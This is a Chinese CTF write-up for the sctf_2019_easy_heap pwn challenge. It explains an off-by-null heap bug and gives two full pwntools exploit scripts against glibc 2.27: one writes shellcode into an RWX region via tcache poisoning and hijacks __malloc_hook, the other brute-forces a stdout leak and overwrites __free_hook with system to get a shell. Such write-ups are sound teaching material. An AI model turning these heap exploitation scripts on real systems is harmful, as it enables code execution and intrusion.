sctf_2019_easy_heap

保护策略:

漏洞所在:

在edit函数中的输入函数内,存在一个off by null的漏洞。(如下图)

然后在程序的开始部分,使用mmap函数映射了一段可读可写可执行的内存区出来,并将该地址打印了出来。

利用思路:

这题的libc版本是2.27,因此可以利用off by null打一个tcache dup。但难点在于没有show函数,且开了FULL RELRO保护。通常我们采取的措施是io leak,这属于常规做法,但是这道题还给了一片可读可写可执行的区域,因此如果我们能在这个区域写入shellcode,并最后劫持malloc_hook为这个地址也是可以拿到shell的而且全程不需要泄露地址。

因此这道题有两种做法,我都分别记录一下。

先说全程不泄露libc地址的这个方法。

方法一:

先利用off by null漏洞做一个堆块重叠,然后打tcache dup,此时就可以再打tcache poisoning了,由于我们知道那片可读可写可执行的内存地址,所以我们直接将其申请出来,写入shellcode。(我这里是提前准备了两组tcache dup)

这部分的exp为:

p.recvuntil('Mmap: ')
leak_addr=int(p.recv(12),16)
log_addr('leak_addr')
add(0x4f0)#0
add(0x28)#1
add(0x48)#2
add(0x4f0)#3
add(0x20)#4

delete(0)
edit(2,b'b'*0x40+p64(0x580))

delete(3)

add(0x4f0)
add(0x28)
add(0x48)


#two groups of tcache dup
delete(1)
delete(3)

delete(2)
delete(5)

add(0x28)


edit(1,p64(leak_addr)+b'\n')
add(0x28)
add(0x28)

edit(3,shellcode_store('shell_64')+b'\n')

然后我们要将malloc_hook给申请出来写入shellcode的地址,这里我们采用的方法是打一个off by null做一个堆块重叠,就是让两个要合并的堆块中间夹杂一个被释放掉且位于tcachebin中的堆块,当两个堆块合并后,我们控制一下申请出来的内存,让unsorted bin的fd指针落在tcachebin的fd指针上即可。(下面两张图片为申请前后的情况)

然后我们修改其main_arena+88最后一个字节为0x30,即可将其改为malloc_hook的地址。然后把malloc_hook申请出来写入shellcode的地址

EXP:

tools源码

from tools import *
p,e,libc=load('a')
p=remote('node4.buuoj.cn',26270)
context.log_level='debug'
d_d=0xc91
d_a=0xc85
d_e=0xc9d

def add(size):
    p.sendlineafter('>> ',str(1))
    p.sendlineafter("Size: ",str(size))
    p.recvuntil('Pointer Address ')
    addr=int(p.recv(14),16)
    return addr
    
def delete(index):
    p.sendlineafter('>> ',str(2))
    p.sendlineafter('Index: ',str(index))

def edit(index,content):
    p.sendlineafter('>> ',str(3))
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
    

p.recvuntil('Mmap: ')
leak_addr=int(p.recv(12),16)
log_addr('leak_addr')
add(0x4f0)#0
add(0x28)#1
add(0x48)#2
add(0x4f0)#3
add(0x20)#4

delete(0)
edit(2,b'b'*0x40+p64(0x580))

delete(3)

add(0x4f0)
add(0x28)
add(0x48)


#two groups of tcacheb dup
delete(1)
delete(3)

delete(2)
delete(5)

add(0x28)
edit(1,p64(leak_addr)+b'\n')
add(0x28)
add(0x28)

edit(3,shellcode_store('shell_64')+b'\n')

#debug(p,'pie',d_d,d_a,d_e)
add(0x48)
add(0x4f0)
delete(0)

edit(5,b'b'*0x40+p64(0x580))

delete(6)

add(0x520)
edit(5,b'\x30'+b'\n')

add(0x40)
add(0x40)
edit(7,p64(leak_addr)+b'\n')
p.sendlineafter('>> ',str(1))
p.sendlineafter("Size: ",str(0x10))
p.interactive()

方法二:

这个方法就是常规的打io leak。先是用off by null做一个堆块重叠,让两个大堆块合并的时候,中间包含一个进入tcachebin的堆块,然后申请一定字节的堆块将unsorted bin的fd指针落在tcachebin的fd指针上,然后进行爆破一比特篡改为stdout结构体地址,往stdout结构体中写入数据篡改一些字段,然后泄露libc地址。再打一次tcache dup+tcache poisoning篡改free_hook写入system地址,最终拿到shell。

就不放具体调试的图片了,直接放下exp。

from tools import *
p,e,libc=load('a')
p=remote('node4.buuoj.cn',29725)
#context.log_level='debug'
d_d=0xc91
d_a=0xc85
d_e=0xc9d

def add(size):
    p.sendlineafter('>> ',str(1))
    p.sendlineafter("Size: ",str(size))
    p.recvuntil('Pointer Address ')
    addr=int(p.recv(14),16)
    return addr
    
def delete(index):
    p.sendlineafter('>> ',str(2))
    p.sendlineafter('Index: ',str(index))

def edit(index,content):
    p.sendlineafter('>> ',str(3))
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
    

def pwn():
    p.recvuntil('Mmap: ')
    leak_addr=int(p.recv(12),16)
    log_addr('leak_addr')
    add(0x4f0)#0
    add(0x28)#1
    add(0x48)#2
    add(0x4f0)#3
    add(0x20)#4

    delete(0)
    edit(2,b'b'*0x40+p64(0x580))

    delete(3)

    add(0x4f0)
    add(0x28)
    add(0x48)


#two groups of tcache dup
    delete(1)
    delete(3)

    delete(2)
    delete(5)

    delete(0)
    add(0x48)
    add(0x4f0)

    edit(0,b'b'*0x40+p64(0x580))
    delete(1)


    add(0x520)
    edit(0,b'\x60\x97'+b'\n')#\x60\x97  \x60\x07\xdd
    add(0x48)
    add(0x48)
    edit(3,p64(0xfbad1887)+p64(0)*3+b'\x00'+b'\n')

    leak_libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    log_addr('leak_libc')
    libc_base=leak_libc-0x3ed8b0
    log_addr('libc_base')
    free_hook=libc_base+libc.symbols['__free_hook']
    sys_addr=libc_base+libc.symbols['system']
    add(0x20)
    edit(5,p64(free_hook)+b'\n')
    #debug(p,'pie',d_d,d_a,d_e)
    add(0x20)
    edit(6,b'/bin/sh\x00'+b'\n')
    add(0x20)
    edit(7,p64(sys_addr)+b'\n')
    delete(6)

    p.interactive()

while 1:
    try:
        p=remote('node4.buuoj.cn',29725)
        pwn()
    except:
        p.close()

 

posted @ 2022-08-27 14:45  ZikH26  阅读(76)  评论(0编辑  收藏  举报